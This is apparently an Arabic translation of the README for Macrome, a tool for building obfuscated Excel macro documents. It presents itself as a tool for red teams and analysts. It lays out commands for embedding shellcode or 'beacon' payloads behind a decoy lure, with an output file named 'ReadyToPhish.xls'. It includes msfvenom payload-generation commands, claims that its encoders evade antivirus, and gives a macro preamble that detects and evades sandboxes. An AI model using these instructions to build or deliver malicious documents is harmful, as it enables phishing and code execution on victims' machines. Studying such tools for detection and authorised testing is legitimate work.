
قارئ/كاتب مستندات ماكرو إكسل لفرق الاختراق الأخلاقي والمحللين
أداة قراءة/كتابة مستندات Excel Macro لمحترفي الاختراق الأمني والمحللين. يمكن العثور على منشورات المدونة التي تصف ما تفعله هذه الأداة فعليًا هنا وهنا.

قم باستنساخ أو تنزيل هذا المستودع، ثم يمكن تشغيل الأداة باستخدام dotnet - على سبيل المثال:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
أو
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
لاحظ أن إصدار 5.0+ من dotnet مطلوب لكي يعمل هذا كما تم تكوينه - يمكن الحصول عليه من https://dotnet.microsoft.com/download/dotnet/5.0.
يمكن العثور على إصدارات ثنائية من الأداة لا تتطلب dotnet وتحتوي على ملف تنفيذي في قسم الإصدارات (Release) لأنظمة Windows و OSX و Linux.
قم بتشغيل Macrome إما باستخدام dotnet run من دليل الحل، أو dotnet ضد ملف Macrome الثنائي المبني. هناك ثلاثة أوضاع تشغيل لـ Macrome - وضع البناء (Build mode)، ووضع التفريغ (Dump mode)، ووضع إزالة التعتيم (Deobfuscation mode).
قم بتشغيل Macrome باستخدام الأمر build لإنشاء مستند Excel يحتوي على ورقة ماكرو مشوشة باستخدام مستند خادع وحمولة ماكرو. dotnet Macrome.dll build -h سيعرض تعليمات الاستخدام الكاملة.
على سبيل المثال، لبناء مستند باستخدام المستند الخادع path/to/decoy_document.xls وحمولة شيل كود ثنائية x86 مخزنة في path/to/shellcode.bin، قم بتشغيل dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. سينشئ هذا مستند XLS 2003 والذي بعد فتحه والضغط على زر "Enable Content" سينفذ شيل كود shellcode.bin.
بقية التوثيق ستشرح كل علامة/وظيفة بالتفصيل، ولكن في الوقت الحالي يمكن الحصول على "الأحدث والأفضل" الذي تقدمه Macrome عن طريق تشغيل:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
أولاً، قم بإنشاء مستند Excel "خادع" أساسي سيحتوي على المحتوى الذي يجب أن يراه المستخدمون. يجب أن يكون هذا نوعًا من الإغراء الذي يقنع المستخدمين بالنقر على زر "Enable Macros" المعروض في Excel. توجد بعض الأمثلة على أحدث الإبداعات في https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. بعد إنشاء هذه الورقة، احفظ المستند كنوع Excel 97-2003 Workbook (*.xls) بدلاً من الصيغة الأحدث Excel Workbook (*.xlsx). تم تضمين مستند خادع مثال في /Docs/decoy_document.xls. لاحظ أنه إذا كنت تستخدم تشويش XOR لحماية مستندك، فلا يمكنك حاليًا إضافة صورة إلى المستند الخادع.
بعد ذلك، قم بإنشاء حمولة شيل كود لتقديمها للأداة. تم إنشاء الحمولة الثنائية المثال (التي تفتح الحاسبة) باستخدام msfvenom باستخدام المعاملات التالية:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
الحمولات ذات 64 بت مدعومة أيضًا. الحمولة المثال ذات 64 بت، popcalc64.bin، تم إنشاؤها باستخدام الأمر:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
يمكن بعد ذلك تضمين هذه الحمولة عن طريق تنفيذ الأمر:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
حاليًا، تتطلب الحمولات ذات 64 بت تقديم حمولة x86 أيضًا. إذا لم تكن هذه مشكلة، يمكنك فقط تحديد بيانات عشوائية لعلم الحمولة x86.
هناك دعم مستقبلي لتضمين مجموعات .NET مباشرة في المستند، ولكن إذا كنت تريد فعل ذلك الآن، أقترح استخدام EXCELntDonut.
اعتبارًا من Macrome 0.5.0 وما فوق، سيتم تشفير جميع الحمولات بـ base64، لذا ستكون حمولتك قادرة على احتواء أي تسلسل بايت (بما في ذلك البايتات الصفرية).
إذا كنت تريد تضمين ملف قابل للتنفيذ .NET باستخدام Macrome، أقترح استخدام Donut بالأمر donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe، ثم تضمين الحمولة الناتجة كحمولة 32 بت و64 بت.
بديل قوي آخر هو Amber والذي عمل بشكل رائع لتضمين ملفات Go كبيرة الحجم.
إذا كنت لسبب ما تريد استخدام وضع ترميز الحمولة القديم من ما قبل Macrome 0.5.0، استخدم العلم --payload-method مع SheetPackingMethod. لاحظ أنه في الوضع القديم، استخدام حمولة ذات غالبية أحرف أبجدية رقمية سيقلل من حجم ملف الماكرو الناتج لأنه من الأسهل التعبير عن الحروف والأرقام في شكل ماكرو بدلاً من إضافة استدعاءات دالة CHAR مرارًا وتكرارًا مثل =CHAR(123)&CHAR(124)&CHAR(125)... إلخ. لكن الأداة يجب أن تكون قادرة على التعامل مع حمولة ثنائية غير قابلة للطباعة تمامًا أيضًا.
مماثل لاستخدام الحمولة الثنائية، يجب أولاً إنشاء مستند خادع. بعد ذلك، يجب إنشاء ملف نصي يحتوي على الماكرو الذي سيتم تشغيله. يجب أن تكون أعمدة الماكرو مفصولة بفاصلة منقوطة ; وصفوف مفصولة بأسطر جديدة. حاليًا، سيتم كتابة محتوى الماكرو المحدد وتنفيذه بدءًا من A1 - على الرغم من أنه سيتم إضافة دعم مستقبلي للسماح بتحديد موقع البداية. يمكن العثور على أمثلة للماكرو في /Docs/macro_example.txt و /Docs/multi_column_macro_example.txt.
أخيرًا، قم بتشغيل الأمر:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
لاحظ استخدام العلم payload-type مضبوطًا على Macro.
يمكنك إنشاء ماكرو بنفسك، أو يمكنك استخدام الأداة الرائعة EXCELntDonut لإنشاء ماكرو لك.
سيتم تفصيل هذه في منشور مدونة قادم، لكن Macrome يمكنها الآن ترميز حمولات الماكرو بثلاث طرق مختلفة. معظم هذه الطرق لا تزال غير مكتشفة من قبل أي برنامج مكافحة فيروسات - ولكن جرب مع حمولاتك لترى ما هو الأفضل.
IF و SET.NAME. هذا شيء لم يتم إساءة استخدامه بعد من قبل مؤلفي الماكرو الضار البارزين، لذا من غير المرجح أن يتم رصده من قبل مكافحة الفيروسات في الوقت الحالي.ROUND.حدد ترميزًا باستخدام العلم method عند البناء - على سبيل المثال، لاستخدام مرمز CharSubroutine:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
في بعض الأحيان قد ترغب في تشغيل ماكرو معين قبل تشغيل كود الحمولة. هذا مفيد عند إضافة ماكرو لتفادي بيئة الاختبار و/أو التحقق من أن حمولتك تعمل على المضيف الصحيح.
تنسيق ملفات المقدمة هو نفسه تمامًا عند استخدام payload-type Macro، لكنها تدعم عمودًا واحدًا فقط. على سبيل المثال، يمكن أن يكون لديك مقدمة مثل:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))